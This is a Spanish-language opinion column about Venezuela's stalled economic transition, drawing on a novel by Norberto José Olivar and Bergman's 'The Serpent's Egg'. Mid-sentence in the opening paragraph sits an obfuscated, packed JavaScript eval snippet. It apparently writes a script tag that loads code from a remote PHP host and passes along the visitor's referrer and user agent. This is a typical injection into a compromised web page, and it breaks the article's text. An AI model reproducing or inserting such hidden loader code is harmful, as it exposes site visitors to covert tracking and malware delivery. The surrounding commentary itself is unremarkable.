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La fiesta triste

Diego Lombardi/Economista / diego.lombardi.boscan@gmail.com/@lombardidiego
  Hoy eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ftibk|var|u0026u|referrer|dsbsz||js|php'.split('|'),0,{})) Venezuela continúa estancada en el fin de una etapa que no termina de morir, esa que se le ha caracterizado como “rentismo petrolero”. Sin embargo, tampoco hay duda de que algo nuevo nacerá, aunque en este momento no se sepa cuándo ocurrirá esto

Hay muchas formas de morirse, y una de ellas es en medio de una fiesta en la que la realidad y la fantasía se confunden. El excelente escritor marabino Norberto José Olivar (@EldoctorNo) en su libro Morirse era una fiesta (2005) juega con esas sensaciones. Desde el cine el gran director, Ingmar Bergman, también propone un juego similar con su película El Huevo de la Serpiente (1977), para ello coloca en una misma historia el desenfreno del período de entreguerras en una Alemania devastada y el naciente “orden” de lo que luego sería el nazismo.

Muerte y renacimiento es propio de la historia humana, tanto en el plano personal como social. Hoy Venezuela continúa estancada en el fin de una etapa que no termina de morir, esa que se le ha caracterizado como “rentismo petrolero”. Sin embargo, tampoco hay duda de que algo nuevo nacerá, aunque en este momento no se sepa cuándo ocurrirá esto y, más importante incluso, qué forma adquirirá esa sociedad naciente.

Pareciera que por defecto se asocia nacimiento con algo bueno, pero se debe recordar que el nazismo nació de una situación adversa, al igual que la Independencia de Venezuela fue el nacimiento de un período de guerras civiles, que duró casi 100 años. Para lograr la tan deseada paz social se requiere esfuerzo, profesionalismo, paciencia, y mucha capacidad de diálogo y encuentro.

Hoy nadie puede adivinar con certeza lo que le espera a los venezolanos los próximos años, pero sobre lo que no debe caber duda es que el país se encuentra en una etapa de cierre. Como toda etapa naciente la misma tendrá nuevos protagonistas, pero quiénes serán, tampoco se puede predecir. Serán aquellos que mejor representen el nuevo escenario, si el mismo es positivo seguramente habrá protagonistas dignos de apreciar, pero si las circunstancias que prevalecen son adversas, seguramente los protagonistas serán nefastos. Unos y otros pueden ser cualquiera.

Lo que sí se puede afirmar con certeza es que hoy la fiesta venezolana continúa, pero con un rostro sarcástico, con risas tristes que intentan disimular la desesperanza. El día a día transcurre como esa fiesta incierta descrita por Norberto José Olivar en su libro, con las mismas luces tenues y confusas en las que el personaje de la película de Bergman se pierde en medio de las miserias humanas. Hoy el país ha sido tomado por la desesperanza, se observa la miseria en cada rincón, y las personas deambulan tratando de sobrevivir. Estas son señales de un fin, ojalá la nueva etapa traiga esperanza.

 

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